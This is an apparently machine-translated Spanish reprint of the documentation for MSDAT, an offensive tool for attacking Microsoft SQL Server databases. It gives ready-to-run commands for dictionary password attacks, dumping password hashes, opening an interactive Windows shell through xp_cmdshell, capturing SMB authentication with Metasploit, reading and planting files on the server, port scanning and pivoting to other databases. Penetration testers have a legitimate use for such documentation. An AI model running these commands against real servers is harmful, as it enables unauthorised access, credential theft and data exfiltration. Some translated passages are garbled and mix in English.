Ejemplos de uso de MSDAT:
  • Tiene una base de datos de Microsoft que escucha de forma remota y desea buscar credenciales válidas para conectarse a la base de datos.
  • Tiene una cuenta de Microsoft SQL válida en una base de datos y desea escalar sus privilegios
  • Tiene una cuenta Microsoft SQL válida y desea ejecutar comandos en el sistema operativo que aloja este DB (xp_cmdshell)
Probado en la base de datos SQL de Microsof 2005, 2008 y 2012.

Registro de cambios

  • Versión 1.0 (2017/02/15):
  • primera versión lanzada

Características
Gracias a MSDAT ( M icro s oft SQL D atabase A Ttacking T ool), puede:

  • obtener información técnica (por ejemplo, la versión de la base de datos) de una base de datos MSSQL sin ser autenticada
  • buscar cuentas MSSQL con un ataque dictionnario
  • probar cada inicio de sesión como contraseña (se requiere autenticación)
  • obtener un shell de Windows en el servidor de la base de datos con
    • xp_cmdshell
  • descarga archivos de forma remota con:
    • Automatización OLE
    • bulkinsert
    • openrowset
  • cargar archivos en el servidor con:
    • Automatización OLE
    • openrowset
  • capturar una autenticación SMB gracias a:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • robar contraseñas hash MSSQL , en cualquier versión MSSQL
  • escanear puertos a través de la base de datos:
    • openrowset
  • ejecutar solicitudes SQL en un servidor MSSQL remoto a través de la base de datos (destino) con:
    • bulkinsert
    • openrowset
  • liste archivos / directorios con:
    • xp_subdirs
    • xp_dirtree
  • lista drives / medias con:
    • xp_fixeddrives
    • xp_availablemedia
  • crear carpeta con:
    • xp_create_subdir

Instalación
Se deben instalar algunas dependencias para ejecutar MSDAT.
En ubuntu:

sudo apt-get install freetds-dev 

o descargue freetds en http://www.freetds.org/

sudo pip install cython colorlog termcolor pymssql argparse
sudo pip install argcomplete && sudo activate-global-python-argcomplete

Agregue «use ntlmv2 = yes» en su archivo de configuración de freetds (por ejemplo: /etc/freetds/freetds.conf o /usr/local/etc/freetds.conf). Ejemplo:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Ejemplos de 

módulos

  • Puede enumerar todos los módulos:
./msdat.py -h
  • Cuando haya elegido un módulo (ejemplo: todo ), puede usarlo y puede enumerar todas las características y opciones del módulo:
./msdat.py all -h

Puede saber si un módulo específico se puede utilizar en un servidor MSSQL gracias a la opción –test-module . Esta opción se implementa en cada módulo mdat.

todo el módulo
El módulo all le permite ejecutar todos los módulos (depende de las opciones que haya adquirido).

python msdat.py all -s $SERVER

Si tu quieres:

  • usar su propio archivo de cuenta para el ataque dictionnario
  • intente con múltiples contraseñas para un usuario sin preguntarle
  • para definir su propio valor de tiempo de espera
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

En cada módulo, puede definir el juego de caracteres para usar con la opción –charset . Módulo 

mssqlinfo
Para obtener información técnica sobre un servidor MSSQL remoto sin autenticar:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Este módulo usa el protocolo TDS y el servidor de navegador SQL para obtener información. módulo 

passwordguesser
Este módulo le permite buscar credenciales válidas:

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

–force-retry option permite probar múltiples contraseñas para cada usuario sin preguntarle
Puede especificar su propio archivo de cuenta con la opción –account-file :

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

passwordstealer module
Para volcar contraseñas hash:

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Este módulo ha sido probado en SQL Server 2000, 2005, 2008 y 2014. Módulo 

xpcmdshell
Para ejecutar comandos del sistema gracias a xp_cmdshell ( https://msdn.microsoft.com/en-us/library/ms190693.aspx ):

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Este comando previo le da un shell interactivo en el servidor de base de datos remota.
Si xp_cmdshell no está habilitado, el –enable-xpcmdshell se puede usar en este módulo para activarlo:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

La opción –enable-xpcmdshell habilita xp_cmdshell si no está habilitada (no está habilitada de manera predeterminada).
La opción –disable-xpcmdshell deshabilita xp_cmdshell si esta está habilitada. Módulo 

smbauthcapture
Gracias a este módulo, puede capturar una autenticación SMB:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Para capturar la autenticación SMB, se puede usar el módulo auxiliar / server / capture / smb ( http://www.rapid7.com/db/modules/auxiliary/server/capture/smb ) de metasploit :

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

El comando de captura de este módulo intenta capturar una autenticación SMB gracias al procedimiento xp_dirtree , xp_fileexist o xp-getfiledetails .
Si desea elegir el procedimiento de autenticación SMB para capturar la autenticación:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Puede cambiar el nombre SHARE con la opción –share-name . Módulo de 

oleautomation
Este módulo se puede utilizar para leer / escribir archivos en el servidor de la base de datos.
El siguiente comando lee el archivo temp.txt almacenado en el servidor de la base de datos:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Para escribir una cadena en un archivo ( temp.txt ) de forma remota:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Este módulo se puede utilizar para descargar un archivo ( C: \ Users \ Administrator \ Desktop \ temp.txt ) almacenado en el servidor de la base de datos:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Además, puede usar este módulo para cargar un archivo ( temp.txt ) en el destino:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

módulo bulkopen
El módulobulkopense puede utilizar:

  • para leer / descargar archivos almacenados en un servidor de base de datos
  • escanear puertos a través del servidor de la base de datos
  • para ejecutar solicitudes SQL en un servidor MSSQL remoto a través de la base de datos

Para leer un archivo almacenado en el destino, se puede usar el siguiente comando:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

La opción –method se puede usar para especificar el método a usar:

  • bulkinsert ( https://msdn.microsoft.com/en-us/library/ms188365.aspx ) o
  • openrowset ( https://msdn.microsoft.com/en-us/library/ms190312.aspx )):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Para descargar un archivo ( C: \ Users \ Administrator \ Desktop \ temp.txt ): « `bash ./msdat.py bulkopen -s $ SERVER -p $ PORT -U $ USER -P $ PASSWORD -d $ BASE DE DATOS – -get-file ‘C: \ Users \ Administrator \ Desktop \ temp.txt’ temp.txt


This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Puede escanear un rango de puertos:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Este módulo se puede usar para ejecutar solicitudes de SQL (por ejemplo, seleccionar @@ ServerName ) en un servidor de base de datos remoto (por ejemplo, $ SERVER2) a través de la base de datos ($ SERVER):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

Módulo xpdirectory
El móduloxpdirectoryse puede usar:

  • Listar:
  • archivos
  • directorios
  • unidades
  • para verificar si existe un archivo
  • para crear un directorio

Para listar archivos en un directorio específico:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Para enumerar directorios en un directorio específico:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Para enumerar unidades:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Para verificar si existe un archivo:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Para crear un directorio:

./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

módulo de búsqueda
Labúsqueda demódulose puede utilizar para buscar un patrón en los nombres de columna de tablas y vistas. Útil para buscar el patrón% password%en nombres de columna, por ejemplo.
Para obtener nombres de columna que contengan patrones de contraseña (por ejemplo: contraseña, contraseña, motdepasse, clave):

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Si desea ver los nombres de las columnas que no contienen datos, debe usar la opción –show-empty-columns .
Para buscar un patrón específico en los nombres de columnas de vistas y tablas:

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns Fuente: Kitploit.com

Compartir